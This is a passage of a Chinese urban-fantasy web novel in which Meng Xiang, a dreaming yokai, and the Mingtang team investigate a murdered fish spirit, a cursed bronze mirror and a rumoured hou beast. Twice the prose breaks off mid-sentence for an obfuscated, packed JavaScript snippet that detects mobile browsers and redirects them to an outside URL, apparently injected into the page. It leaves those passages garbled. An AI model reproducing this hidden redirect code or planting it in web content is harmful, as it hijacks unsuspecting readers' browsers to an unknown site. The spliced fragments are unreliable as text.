吕洞宾在梦里过了六十年,沈括写了《梦溪笔谈》,连续十年做同一个梦 程咬金的三板斧是梦里学来的,元稹梦到了好友白居易,写了著名的《梁州梦》。 现在的人,相信梦境是有预示意味的,家中常备着一本《周公解梦》…… 人类之所以能立于万物之上,或许就在于能够做梦,比妖怪多了一种观察世界的维度。 聂明月这才回想起,自己从来没做过梦。 我终究不是个人。她听完计九崖的讲述,暗自想着,内心涌起难以言明的纷乱思绪。 梦,到底是什么? - “计先生,你能先告诉我,孟想是什么吗?”孟夏把最后的希望寄托在计九崖身上。 计九崖突然想起一人,对聂明月说:“沈敬前辈,现在可方便现身?” 聂明月立刻从包中拿出如意来,招出了浮云道人。 沈敬再次面世,已将满头白毛梳了一个圆髻,面容依旧枯槁,却不再像之前那般骇人。 然而,他那双白色的瞳孔还是让孟想忍不住多看了几眼—— 孟想也有同一双白瞳。 聂明月简单说明了唤他出来的来意,询问是否能知道孟想身份。 沈敬先朝聂明月辑了一礼:“大人,您能否先告诉我,看他是什么?” 聂明月没有掩饰自己的赤瞳,直视孟想,只见到他面目模糊,周身笼罩在一团浓雾之中。 沈敬又问:“大人,那么您看我,又是什么?” 聂明月没有犹豫:“行尸。” 沈敬暗叹了一口气,思忖道:“虽我二人均有白瞳,但我之白瞳是死目,孟想小友的白瞳,应是梦瞳。” “世间生灵妖鬼,均有定数。在下所知的能做梦的妖,只有一种,名为‘支离’。” - 支离,又称趾离,在古代记载中,被称为梦神。 所谓支离,就如人的梦境一般,支离破碎,模糊不清。支离虽被尊为“梦神”,却只是对妖的一种尊称,只因支离是妖中唯一能做梦的。 “如果孟想是支离,那么一切便都说得通了。”沈敬博学多闻,在这个方面,计九崖也自愧不如。 “那我们暂且认为,孟想是支离。”孟夏道:“那酒馆的酒,又是怎么回事?” 众人随即展开热烈讨论,究竟是孟想初次醉酒唤醒了本能,还是酒本身有什么蹊跷。 只有孟想悄悄说了一句: “孟夏,我昨晚在梦里,杀妖了……” 38. 见日之光 人间行走指南: 【妖怪是不会做梦的,事出反常必有妖。】 - 和白天比起来,孟想更喜欢夜晚。 这座城市的光影在日暮后变得柔和,比刺眼的正午更令他安心。城市的霓虹与万家灯火,从他的眼中望去,是一只只漂浮的黑灰眼睛,凝视着每个玻璃盒子里洄游的人。 他常常站在天桥上,注视着下方的车流和行人,像在观察一个巨大的鱼缸。 - 孟想看不见颜色,他的世界里,天空是灰扑扑的,人类是惨白冰冷的。 这种单调的视觉世界让他常常感到孤独,直到遇见了那些特别的存在。 大姐孟夏是明亮的橙,像正午的太阳;二姐阿金是素净的白,如初雪般纯粹;第一次见面的聂明月是缭乱的七彩,仿佛天边的极光;刚认识的闻佳期是绯色的深红,似一杯醇厚的红酒…… 只有遇到妖时,他才能看到色彩。 和看人类时的凌厉素色相反,他看不清妖们的脸,他们的五官在他眼中都是模糊的色块。 除非拍成照片,他才能看清他们的长相。 他想记住他们,这样好像就不会那么孤单了。 - 所以他喜欢上了摄影,取景框是他的第二双眼睛,将他白瞳中看到的画面,以各种色彩重新排列,组成他破碎又斑斓的人生。 他的相机里装满了山川河流、城市乡野的风景,还有那些只有他才知道的特殊色彩。 白天,他在街头巷尾拍摄人类的生活;夜晚,他就四处游荡偶遇妖怪。 海泽这几年的妖越来越多了,他总是小心翼翼地按下快门,生怕被他们发现他的存在。 每一次快门的响起,都是他在对妖鬼们的无声祝福。 我们不会做梦,所以我想祝你好梦。 - 二十多天前的一个深夜,孟想在地铁站看到一抹黄色。 那个女孩站在白色的墙边,身上散发着湿润的黄色光斑,像被雨水打湿的金箔。她的头发疲惫地垂在肩头,仿佛经历了漫长的一天。 孟想举起相机,为她按下了快门,希望工作一天的她能睡个好觉。 结果被她察觉到了,转过头来那一刻,孟想差点把相机摔在地上——她的脸上铺满了细密的鳞片,反射着站台的惨白灯光。 更让他惊恐的是那张咧到耳根的大嘴,里面泛着潮湿的光泽。她对着他露出一个害羞的笑容,可那表情在鱼妖的脸上显得格外诡异。 他吓到了,落荒而逃。他知道这样的逃跑极不礼貌,但控制不住自己的浑身战栗与眩晕。 他是妖,但并不妨碍他怕妖。 - 两天前,他第一次走进绯藤酒馆。晚上回家后,他倒头就睡,恍惚间回到了多年前—— 他从一面镜子中走出来,站在陌生国度的小巷里。高楼大厦令他不安,路过的人高鼻深目,说着他一句也听不懂的话。 那时的他只能漫无目的地游走,最终被人们送到当地福利机构,后来又去了一对亚裔夫妇家中寄养。 他天生胆小,再加上弱视,经常被社区的少年们欺负。 那些年的记忆像一段模糊的黑白默片,充满了孤独和恐惧。直到很长一段时间后,他终于看到了一抹亮色,那是他生命中第一道颜色。 那道叫不出名字的光问他:“你是什么?” 他居然听懂了她说的话,那不是英语,也不是中国城的复杂方言。但就像某种本能一样,他完全理解了她的意思。 他不会说和她一样的语言,只得眼睁睁见她进了一家店。 他舍不得离开,因为那是他第一次看到黑灰以外的色彩。 后来,他跟着孟夏到了另一个国度。他看到了很多颜色,特别是夜晚,那些色彩影影绰绰,明灭闪烁,像一场盛大的烟火表演。 他开心又害怕着。 开心的是终于找到了自己的归处,不再是一个格格不入的异类;害怕的是当他走近那些同类,有的美丽得近乎妖异,有的可怖得令人心惊。 - 此刻躺在床上,他又想起那个鱼嘴女孩的笑容,背后顿时感到一阵潮湿的凉意。 他紧张地将头埋进被子里,像个做了噩梦的孩子。 忽然,一个温柔的女声在他耳边说: “别怕哦,你在做梦呢……” 他猛然睁开眼睛,灰色的光线透过窗帘照进来,细小的尘屑在光束中飞舞——已经是中午了。 他从不做梦,也不可能做梦。 他以为自己只是酒后陷入了回忆,出现了幻觉。 - “今天早上,我又梦到她了……”孟想的声音还是浑浊的,那杯酒后劲太大。 聂明月示意计九崖关上办公室的门。她听到楼下花蕊进门的声音,怕沈敬的长相吓到小前台。 众人等着孟想继续整理凌乱的思绪,慢慢讲述。 - 在梦里,那女孩的脸上长满了细鳞,伸出手对他说:“来,跟我走……” 她掌中的鳞片更软一些,像密密麻麻的细雨点点,被他轻易握在手心。 “这是梦吗?”他问。如果这就是梦,那也太真实了。 “你说呢?”她的嘴里像含着一口水,声音含糊不清。 天边刚刚露出曙光。她带着他来到码头,看着大海。 “我不喜欢海!”她背对着他。海风轻轻地吹起她的发梢,飞扬的裙摆露出一双黄澄澄的纤细脚踝。 他习惯性地举起了相机,按下了快门。 有的人,不论美丑,见过了,就不会忘记。何况她不笑的时候,应该还是好看的。 她回头看他,僵着声音说:“我记得你。你拍过我。” 天突然开了,朝阳从低云中破光而出,他看见一层层的黄色鳞片,争先恐后地从她身体中抽离剥落,最后落在脚边,片片带着深红的血渍。 “你杀了我!”她面露痛苦之色,嘴巴撑得越来越大,身体向海面倾下。 孟想上前两步,抓住她的手:“这是梦啊!你说的,是梦啊!”他闻到她的身上传来的腐烂而咸腥的气息。 她滑腻的手腕慢慢脱出,手掌划过他的手指时,关节微曲,试图想要抓住他……他眼睁睁看着她坠入大海,随即消融在海水之中。 她落水前对他说的最后一句话是—— “救我……” - 醒来的孟想,依然沉浸在做梦的震撼之中。如果这就是梦,那一定是人类称作的噩梦。 他从床上下来,房间中有淡淡的咸腥臭味尚未消散。 他循着味道找过去,看到落在客厅地板上的相机。 - 孟想拿出读卡器,插在孟夏的电脑上。 点开照片,一个女孩仰面倒在地上,全身鲜血淋漓,脸上有着无数道血痕,看不清楚长相。 她整个人似一条刚被刮去鳞片的离岸黄鱼,毫无生机。 聂明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14429588|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月赤瞳亮起,她确实是个鱼妖,她确实已经死了。 “我见过她。”计九崖突然说,他看向孟想:“三月中旬,地铁站,我也见过你。” 孟想这才看向计九崖,眼前是一个灰色的人类,脸上有深深浅浅的黑色痕迹。 他想起来了,计九崖就是那天晚上提醒他过地铁闸口的老人! “你……”他的呼吸变得浊重:“是你!撑伞人。”他神色更加焦急:“你是不是也看见了?她……我没对她做什么,我只拍了张照片。” 他想让计九崖为他证明,那女孩是真实存在的,并不只出现在他的梦境里。 “女,鱼……我找找。”孟夏走向文件柜,按照标签,一本本看过去。 每个生活在海泽的妖怪,她都做过登记。如果有新的妖怪出现,她也会主动寻去查明身份。 “找到了!”她抽出文件夹刚翻了两页,就在一张档案表,看见那女孩的免冠照片。 她眉目清秀,眼神温和,紧抿的嘴唇微微上扬,看起来还有点害羞。 - “黄鱼妖,叫林珍,去年十月到的海泽。原籍荆楚,373岁,是长江水族。”孟夏读着她的资料。 “我记得她。性格有点腼腆,不太爱说话。刚来的时候有点水土不服,毕竟以前一直是在淡水系城市生活。她的学历和身份都是原本就有的,没有问题,也很快就通过了考核。后来我还关注过她的身体适应情况,没有大碍。” “她家住在湾区新城小区,在一家商贸公司当文员。紧急联系人只有荆楚的地址,没有电话……” “我们通常是半年回访一次,她的回访时间是……”孟夏查看最下方时间表上的第一排,猛地抬起头,看向聂明月:“后天!” 现今的妖怪大都有家族传承,族内会提前安排天资不错的后辈进入城市接受教育。 百年来的人间,已经很难有新的妖灵诞生。有零星通过机缘修炼的小妖,如果想要更好的生存机会,也会在妖鬼们的口口相传中来到海泽,经过明堂的培训合格后,再在人类中生活。 在明堂注册过的妖,意味着从此受到明堂的庇护。 “不管是私怨,还是冲着明堂来的,我们都要查探清楚。”聂明月与几大家族经营百年,如今出现这样的事情,不可能坐视不理。 在明堂的眼皮子底下杀妖,不会是简单的一件事。 “你们觉得她不是我杀的?”孟想听了这话,不敢相信自己的耳朵:“她分明说了,是我杀了她。” “她还说让你救她呢!”孟夏给了木讷的孟想一个脑瓜嘣:“今天事多,我们得分下工。” - “计九见过林珍,上午就和孟想去她家,看看有没有线索。我们保持联系。”聂明月开始分工安排,兵分多路。 “沈敬,我对你有安排,但是现在来不及细说了。孟夏,你先带他去打理一下。尽量……”聂明月顿了一下:“寻常一点。” 沈敬的形容枯槁,就这样走出去,会引起人类恐慌。 “你们回来以后,我们再讨论镇海寺的事。”她继续说道:“皮千秋和打伤孟夏的男人,要继续查。香香化形的事,我也需要沈敬的建议。” “下午我先把香香送回家,晚上去一趟湾区码头。” 孟想两次做梦,都与绯藤酒馆有关。 她想看看,那个叫闻佳期的女人,到底卖的是什么酒。 众人纷纷应下,一周繁忙的工作,从周一上午正式开始。 39. 犼影初现 人间行走指南: 【收起獠牙,学会微笑。】 - “阿言哥哥,今天……是我最快乐的一天。”她轻声说着,嗓音温柔得像是春日初融的雪水,星眸中的泪光冲刷着脸颊的污痕,露出下面莹白的肌肤。 她的左手被阿言握得死紧,右手也本能地抓着崖壁上突出的岩石。可现在,她却放开了右手,正在用尽全身的力气,一根一根地掰开他的手指…… 她的笑容里带着决绝的温柔:“你不要难过……你要好好活着,替我报仇。” 鲜血从阿言额头的伤口涌出,顺着他的眉骨流进眼睛。月光下,他眼中满是祈求与绝望,泪水混着血水滑落…… “花朝节上,我的心愿是——”她轻轻扭动手腕,他的手指已经开始痉挛,快要抓不住她了。 “阿泥和阿言……”她终于挣开了他的手,如同展翅的蝴蝶向如深渊般的崖底坠去…… “要一直在一起呀……” - “开局就虐啊……”花蕊的声音从电脑后传出来。 周一上班,一如既往无所事事。花蕊坐在前台,一边吃着还冒着热气的小笼包,一边追看昨晚刚上线的电视剧《泽蒙纪》。 她拖回阿泥坠崖的慢动作画面,暂停,截图。 “女神连坠崖都这么美!”花蕊在粉丝群里说。 群里早就在对昨晚的两集展开热络讨论了。“花姐,你居然延迟追剧!”大家对群主的失职表示不满。 花蕊发了个求饶的表情,正要解释,“请问,聂小姐在吗?”一个好听的女声问。 花蕊抬头看向来人,瞬间愣神:“……你……” 她以为自己在做梦,看看电脑上那张截图,又看看眼前的人—— “彩衣,你这么快就到了?”聂明月听到声音走出来,原来是秦川山神家的桓彩衣。彩衣昨晚告诉她,今天会来海泽报道。 “大人。”彩衣笑着:“我忙完工作已经是凌晨了。所以也没敢再打扰您,直接过来了。” “小花花,你知道登记填表怎么做吗?”聂明月问花蕊,又跟彩衣说:“新人接待流程,我还不大熟悉。” 花蕊的大脑已经完全空白了,毫无意识地凭本能回答:“……怎么做?” 聂明月无奈地摇了摇头:“这是我们的新人桓彩衣。你们年纪差不多,可以多交流。” 她又对桓彩衣说:“这是前台花蕊,有什么不懂的地方,可以先问她。” “好呀。”桓彩衣伸出手:“花蕊你好!” 花蕊犹豫着,终于鼓起勇气,轻轻握了下她的手,好软,好香……好舍不得放开。 聂明月见她今天也不知道怎么回事,像过了电一般木木地站着,先带桓彩衣上楼。 直到两人离开视野,花蕊脑中高分贝的尖叫声终于停了。 天呐,国民偶像、全能颜霸,我家桓桓! 天呐,聂小姐刚说什么来着,杂志社新人? 天呐,桓彩衣要退出演艺圈,当我同事了? 不对不对,聂小姐怎么那么淡定?听说她刚回来,是不是对国内演艺圈不了解啊? 那可是桓彩衣啊! - 湾区新城是海泽开发区的一个大型社区。精装小户型公寓,管家式服务,只租不售,拎包即可入住,地铁站就在小区旁边,是开发区乃至市区上班族们置业前的最佳选择。 按照孟夏提供的地址,计九崖与孟想来到1606房间的门口。无论是敲门还是按门铃,都无人应答。 “上班去了吧!”路过的保洁大姐见两人还不走,出言提醒。 孟想低声问计九崖:“我们是不是先去她公司看看?” 万一那真的只是个梦呢?他还报着隐隐的希望。 计九崖见保洁下楼了,左右无人,才说:“在里面,你没闻到味道吗?” 孟想深吸一口气,神色疑惑:“没有味道啊。” 那是带着腐烂气息的臭味,还有海鲜市场内挥散不去的咸腥潮气。计九崖掏出一支笔形工具,对着门锁摆弄着。 “这个……是密码锁……”孟想好意提醒。计九崖看起来年纪很大了,大概不懂吧。 话音刚落,计九崖将门把手往下一压,门开了。 “密码锁也有机械钥匙孔。”他走在前面,示意孟想跟上。 这是一套20平米的LOFT,一眼就可看遍客厅与楼上卧室,很典型的女孩子的风格,沙发上放着可爱的抱枕,地板上铺着长毛小地毯。 没有尸体。 计九崖皱了皱眉,臭味更浓重了。 这下连孟想都闻到了,他最后一丝希望也覆灭了,那味道和他梦里的一样。 计九崖打开卫生间,依然干净整洁。里面空间更小,他站在盥洗台前,一动不动。 孟想纳闷:……计九崖这个时候了还不忘照镜子,时间也太久了吧。 “你看得到吗?”计九崖问。 “什么?”孟想出门的时候是戴黑色隐形眼镜的,他也挤进去站在计九崖旁边,看着镜子里的两人,黑灰色,没有异样。 “有裂纹。”计九崖伸手指向镜面。 孟想看不出究竟,突然想起来,举起相机拍了张照片,再放大照片细节,镜面上有数道环状裂纹。 如果他肉眼看不到,通过照片能看到的话,那就是妖怪留下的痕迹。 孟想很清楚这一点。 “计九叔,现在怎么办呢?”他问。 “你把房间各处都拍一下,我打个电话。”计九崖推开阳台门,味道太大,他须得在外面透口气。 他在电话中告知聂明月情况,并表示要接着去一趟林珍的公司,中午可能赶不回去。 两人临走的时候,计九崖发现茶几的零食筐旁有一张宣传单,上面印着“水月镜花-唐宋海兽葡萄镜文物展”的广告。 展览时间一周,昨天刚好结束。展页一角还残留着湿气,似乎曾被水打湿过。 - 孟夏和沈敬回来的时候,沈敬已经成为一名满头银发、戴着眼镜的瘦削老人。 他穿着合身的中式改良外衣,一看就价值不菲。虽然头发全白,但胜在气质儒雅,自带修士的飘逸之气,看起来像是个搞学术的教授。 本来如果头发染黑,他也能像个30多岁的绅士,但他期望着如果有一天能站在清灵身边时,两人至少外形年龄是登对的。 孟夏已经拿到陈丽华打来的出差费用,知道沈敬与她的前世有关,为沈敬改装下了大功夫。 见到桓彩衣,孟夏也愣了一下,笑着对聂明月说:“你也真是的,就只说是秦川来的孩子,也不告诉我,居然是当下最红的大明星。” 她虽然不关注,但是外面到处都有桓彩衣代言的广告,很难不知道她是谁。 聂明月对此完全没有察觉,听孟夏一介绍,才知道自己先前看的神仙恋爱剧里,桓彩衣就是那个最美女仙子的扮演者。 “你真厉害,你还会什么呀?”她好奇地问。 桓彩衣害羞地说:“我是参加唱歌选秀出道的。本来以为自己只会唱歌,后来公司安排我去演戏……让大人见笑了。” 在妖王面前演神仙,真怕她不满意自己的表现。 “很好看。”聂明月对演戏不好奇,孟夏以前在海外还当过一段时间的电影明星,反倒是对桓彩衣的歌声充满了期待。 桓彩衣是趁着新戏的宣传期间隙过来的,所以比季舟来得早。 “你不用非得留在海泽。你有自己喜欢做的事,并且做得很好,这就是最好的修行。”聂明月表了态,这次来跟大家见一面,以后行走在外,知道是自己人就行:“如果你愿意冒险入境,可以把时间安排下,七月中旬在海泽就行。”相信山神已经跟她交代过了。 桓彩衣倒是想一直跟着妖王大人,不错过任何修炼提升的机会。但确实有合约在身,不能说退就退。 她听聂明月这么一说,心中最大的负担终于卸下了,展颜一笑,整个房间都亮了起来。 “太美了,我都挪不开眼了。”孟夏自己是个美人,也看了无数的美人,她不得不承认,无论是五官还是身形,桓彩衣都是她所见的最好看的姑娘之一。另一个就是聂明月了——前提是她继续正确使用表情。 而桓彩衣的美,是少女才能焕发的神采,难怪有那么多粉丝爱她了。 - 说回正题,聂明月向沈敬讲述了镇海寺的事。孟夏还不大理解,她受的小伤都好了,皮千秋虽然冲动,但终究是晚辈,事情也已经过去了。 “那个女知客。”聂明月提醒她。 孟夏看到女知客是中午,皮千秋开枪不到十分钟。她赶到镇海寺的时候,女知客昏迷在桌前,身上罩着阴灵黑气。孟夏本体是灵,对于气息是最敏感的,她不会判断错。 而聂明月所见到的知客,是一个寻常中年女人,被人施法至昏迷。她们之间时间相差三个多小时,如果阴灵气没有专门的人处理的话,不可能消失。正常情况下,她们应该看到同样的阴灵气息。 她事后向尤远志求证过,尤远志将女知客唤醒,说自己早上打开寺门,刚坐在桌前,就晕了过去。 而那时候,唐槐还和孟夏在地下室翻资料,并不知道会与皮千秋见面,更不会知道中午会到镇海寺。 皮千秋是看出了唐槐项链有异状,但皮千秋的原话是:“不干净!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14449063|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 所以她才设计唐槐去了镇海寺。 香香是上古神兽,受民间香火供奉百年,气息最为纯净浓厚,无论如何不可能与“不干净”搭上关系。 香香的化形,是她们计划之中的。但提前了三个月,面对皮千秋的三脚猫功夫,还没有反抗之力,甚至被手枪擦伤…… 她昨天带着香香去幼儿园报名,与她相处了一整天。香香也说不清自己怎么会是个小孩,还失去了变回真身的能力…… “除非是有人早就想对香香下手。一大早就到了镇海寺,对石像做了手脚。中午事发时,孟夏来得太快,对方来不及反应,只好装作女知客昏迷。等大家都走了,才把真正的女知客搬回原位。” “我俩见到的女知客,不是同一个人。”这是聂明月想了一晚上,得出的结论。 - 沈敬知道聂明月需要他,十分期待,听她说到这里,陷入了沉思。 “在下不过是个寻常体修,对妖鬼之事知之甚少。”沈敬谦逊道,随即话锋一转,声音沉了下来,“但说到狻猊神兽,那是正统的龙之血脉。据我所知,世上能够伤及龙族的,只有一物……” 他回忆片刻:“南朝《述异记》中曾提过,犼乃上古神兽,可食龙脑,常令狮虎畏惧。狻猊大人半龙半狮,犼正是其克星。传闻犼之气息能使血肉腐烂,如覆阴灵。” “爷爷也提过,当初秦川那条螭龙,正是被一头半虚之体的狮首魔物杀害。那魔物的特征,与您说的犼很像。”桓彩衣虽不知前因,但听到这里,想到了这点。 孟夏想起近日发生的种种怪事,每一件单独看来毫无关系,但连在一起,却让人感到背后仿佛有一双阴冷的眼睛,在暗处窥视着他们的一举一动。 传说中的魔,她虽没见过,却不止一次听说了:“这个事情,还需要阴冥司的帮忙。” 关临渊不日就会来海泽。正好可以问一问他。 - “如果有魔物参与……”聂明月又想到一事:“孟夏,你上次说那个什么屁?可以发消息的那个。” “是APP!”孟夏忍不住提高了声音,随即又无奈地扶住额头,“就是人间行走指南的手机程序啊。” 她看着聂明月一脸茫然的表情,不知该哭还是该笑。这已经是第几次解释了? “你发个消息,通知所有人,如果最近有什么异常的事,第一时间联系我们。” 《人间行走指南》杂志虽停刊多年,但早在十年前就有了网站,后来又开发了APP,让这份“妖界指南”悄然转型,继续发挥着它的作用。这也是望南街众人依然上班的原因之一,还有正事在继续做。 “不用说魔物出现的事,以免引起不必要的恐慌。”聂明月又加了一句。 百年来,没有人比聂明月更了解妖的习性。她太清楚了:一半的妖族甘于寂寞,终年隐匿山林;剩下的一半中,大部分都在明堂的羽翼下安分度日。唯有那不足一成的异类,或是无知,或是狂妄,行事全无顾忌。 - 计九崖两人最后还是没去林珍公司。 他按照宣传单上的地址,此时站在了湾区一个私人博物馆门口。 说是博物馆,其实是个会所性质的独栋三层商业建筑。门口挂着近期活动的几张宣传广告,“水月镜花”的海报还没来得及撤去。 几个工作人员正进进出出搬着东西,看起来是在布置新的展览。 计九崖冲孟想使了个眼色,孟想对这事极为通透,看来没少做过。 他上前出示自己的工作证,对保安说有采访,亮出手里的相机。 保安不疑有他,直接放两人进去。 计九崖心中嗤笑:就这安全意识,还当保安哪。他做保安可有不少心得。 两人直接进入一楼展览厅,那是古镜所在的位置。孟想在厅内先盲拍了一张照片,从相机里看过去,整个展厅笼罩着一层的水汽,咸湿凝重,诡异难忍。 再往前走几步,脚步声在寂静的空间里格外清晰。昏暗的射灯在两侧墙面投下斑驳的光影,玻璃展柜中陈列着上百面古铜镜。这些镜子大小不一,按照年代次序排列,每一面都散发着岁月沉淀的幽光,像一只只森然的眼睛,默默注视着闯入的两个不速之客。 走到展厅中央,水晶展柜中静静躺着一片古镜碎片,镜面上的裂痕纹路与林珍家浴室镜子上的某道裂缝如出一辙。阴暗的光线下,镜片边缘闪烁着诡异的光泽。 计九崖提醒孟想:“小心,有问题。” 他没有得到孟想的回应,扭头一看,眼前的景象令他瞳孔骤缩——原本的展厅空间已经消失不见,取而代之的是一片没有边际的黑暗虚空。 哪里还有孟想的身影。 40. 水月镜影 人间行走指南: 【水中月,镜中花,言有尽而意无穷。】 - 孟想又做梦了。 他看着展厅中央的古镜碎片,上面透出模糊的影子。他好奇这面古镜的成像效果,不自觉地探头望去,昏黄的镜面微不可察地扭动着。 他吓得后退一步,下意识寻找计九崖的身影,却发现只有自己在展厅内:“计九叔?”他叫,声音在偌大的展厅中被黑暗吞没,连回音都没有。 地面突然翻转,镜面如冰墙般拔地而起,他知事情有异,往后退了几步,却被背后的镜墙挡住了退路。他回头一看,镜中的人不是自己! 林珍正在镜内,面色苍白地看着一面破碎的镜子。 那是,她家洗手间的玻璃镜! 镜子的裂缝中渗出无数暗影,如同墨水在水中晕开,慢慢环绕在林珍周身,最终将她整个人硬生生拉入裂痕。 孟想慌乱地扑上去,镜中光影散去,只剩一片冰冷的镜面。 他终于反应过来,又进入了林珍的梦境。 无数面镜子,或紧或疏地排列着,每条通道都如同巨兽张开的深渊巨口,黑暗深邃。 - 计九崖从灵台中唤出应龙伞,做好了迎敌准备。他有丰富的入境经验。一出现异状,他就知道进入了幻境之中。 幻境是根据结境者本身而形成的,每一个都不同。 聂明月的明堂,在他看来是最为强大的幻境。七十年前,他正是在聂明月的境中试炼,经脉中充满了洁净灵气,再出来时已达到大成,拥有无尽的寿命。 明堂对他没有任何防备和恶意,他才得以顺利出境。据他所知,唯他一人。这也是他心甘情愿跟随在聂明月身边的原因。 既是感激她的给予,更是感动她毫无保留的信任。 四十多年前,他在华东的一处山魈幻境中遇到了同时入境的关临渊。关临渊初见应龙伞,便对他起了敌意。两人尚未闯境先打了一架。还是对方先反应过来,他们是被山魈的戾气所惑,最后联手闯境成功。 妖们的洞府,大多数都是仙山灵泉,或者藏满宝藏的秘境。这是妖灵喜爱山野的本性使然,即便布置了机关陷阱,但本能选择了最有安全感的地方。 眼前的幻境却与以往截然不同。无数面冰冷镜子林立,每一面都照出他的样子,密密麻麻延伸至视线尽头,仅是望着就让人眼花缭乱。 他强行稳固心神,持伞朝最近一面镜墙刺去,在强大的攻势之下,镜面裂开蛛网状的缝隙,却连声音都不曾响起。 计九崖身形一晃,只觉身体一软,仿佛丹田处也被伞刺穿形成了裂缝,真气泄出,被吸入镜面裂缝里。 镜缝似贪婪的大嘴,想要将他的修为吞噬殆尽。 他不能再与镜子为敌,伤它就是伤自己。每一丝修为被抽出,他的生命力就会减少一分。 计九崖放弃对抗,盘腿坐下,控制丹田的伤势,减少灵力消耗。 他命长,耗得起。 - 孟夏为桓彩衣介绍明堂行事准则。从今天起,桓彩衣将以明堂人间行走的身份,维护她所在地界的妖界生态:帮助求助者,约束作恶者。 这对桓彩衣来说,又是另一种渠道的修行。她专注地听着孟夏的讲述,记录下重点,翻看百年来明堂上万个案子,切身感受到了这份工作的责任重大。 “如果妖是身不由己才作恶,我们怎么处理呢?”她想起曾遇到的一个人,忍不住问。 “我们不判对错。对错是由阴冥司来最终决定的。我们最大的责任,是保护妖鬼在人间不被伤害。若有妖犯错,会交予阴冥司。他们有自己的判定准则。”孟夏告诉她。 这些年,孟夏也越发稳重,她不再是单纯的享乐主义者了,经历的事情越多,越有了明晰的目标。 成就感,让她感到快乐。 - 聂明月给唐槐打了个电话。唐槐是学数据科学的,虽然她不大清楚这是一个什么专业,但唐槐临走前,已经将她书房的大部分资料做了数据化管理,需要什么类型的资料,可以立即查出来。这件事让她看到了唐槐的能力——用科学来解读玄学,是一件很奇妙的事。 她需要唐槐帮忙:查找关于犼的记载,特别是与杀龙有关的传说,整理所有记载中犼出现的时间及踪迹。 挂上电话之前,她顺带问了一下长江流域水妖的情况。唐槐听说有新案子出现,十分激动。 “太奶奶,我的毕业论文题目,就是中国各大流域水族生物的数据库设计。我有现成的资料,最晚明天就可以给你!”他太开心了,没想到在聂明月的眼里,他也是一个可以助力的伙伴。 而不只是因为,他叫唐槐。 被认可,让他感到快乐。 - 沈敬已将如意中的妖怪统计完毕,递给孟夏一份手写的毛笔字名录,上面详细记录了近千名妖精鬼怪的来历、能力及入世意愿。 孟夏相当吃惊,没想到这个白毛怪真是个人材。 她将名录递给花蕊,让她录入电脑。花蕊比孟夏还吃惊:“孟姐,这是新的采访资料吗?” 孟夏顺着她的话点头。花蕊神经大条,来杂志社一年了都还在状况外。 不出所料,花蕊根本不觉有异,反而灵光一闪,偏离了重点:“这么好的字,我能不能帮忙申请专利,做个字体库啊?我要给它起名为——宋敬体!” 孟夏跟沈敬解释,他的宋体字若做成字库,一旦有人使用,他就能赚到钱。 沈敬惊喜不已,当他听说书法大家的字体最受今人追捧时,更是倍感荣光。 沈敬江湖经验丰富,千年前就以术士之名与三教九流打交道,还十分擅长隐藏行迹。聂明月在征求他的想法之后,让他先去查皮千秋身后的黑衣男。沈敬是行尸,他只要想隐匿气息,不会有被人察觉的可能。这件事对他来说十分适合。 沈敬有了现代社会的第一份差事,问清了皮千秋所住酒店的位置,开心地出了门。 有事可做,让他感到快乐。 - 诸事安排完毕,聂明月给关临渊发了个消息,问什么时候到海泽。 没有等到他的回复。 她又给计九崖打电话,无人接听。孟想也联系不上。 她想起计九崖上午曾说要去林珍的公司,恐发生变故,便出门寻人。 林珍公司离望南街不远,在两条街之外。 “林珍啊,今天没来上班。”贸易公司的前台说。 “你最后一次见到她,是什么时候?”聂明月问。 对方一听她这么问,先将她上下打量了一番,神色戒备。 聂明月暗恼自己不会话术,在与人类打交道上,她其实才是经验最少的那个。 “我是她荆楚老家的亲戚,来海泽出差,去她家没人。打电话也不接,以为她在工作,就来找一下……”还好她临时应对,打消了前台的疑虑。 “她周四没到下班时间就走了,说是身体不舒服,请了病假。今天也没来,是不是有什么事?”那天的林珍脸色苍白,满头是汗,大家都看到了。 同事本打算送她去医院,她说回去休息下就可以了。他们连续加班了一个月,刚好项目收尾,主管就直接让她周五也别来了。 “就是想扣她年假。”前台愤愤不平。 “不知道妹妹在公司相处得怎么样?我怕她年轻,不懂事……”聂明月抱歉地笑着。 前台能体谅家人的担心,说:“她性格很好,做事也很有能力,就是不太爱说话。他们组啊,就她干的活儿多,加班也最多。你放心,公司没人说她不好的。” 聂明月谢过了她,这次一无所获。 刚到一楼,她就遇到了来送外卖的尤远志。尤远志正提着三份午饭进来。 “聂小姐……”他来不及打招呼,电梯门就要关上了。 聂明月说:“等你。” 找人,尤远志很擅长啊。 这次她可有两个人的生辰八字。 - 尤远志按照林珍的八字,用“八方走失图”确定了她的位置。 “这不是还在她家吗?”他以为自己算错了。 他跟着聂明月,来到1606室门前。聂明月没有计九崖开锁的本事,用手压着把手,直接把密码锁面板带钢框拽了出来,门上留下醒目的洞。 她伸手进去,拽出了门框内的锁舌。 尤远志跟在她身后,强忍着想吐槽的欲望—— 淡定。她是聂明月。习惯就好。 房间依旧有着臭味,聂明月直接到了洗手间。赤瞳亮起,镜柜上的裂纹赫然出现。 尤远志也看到了裂纹,他忍不住“咦”了一声:“这不是四象吗?” “四象是什么?”聂明月问。如果尤远志能一眼看出阵法,计九崖没理由看不到。但电话中计九崖并没有提到这一点。 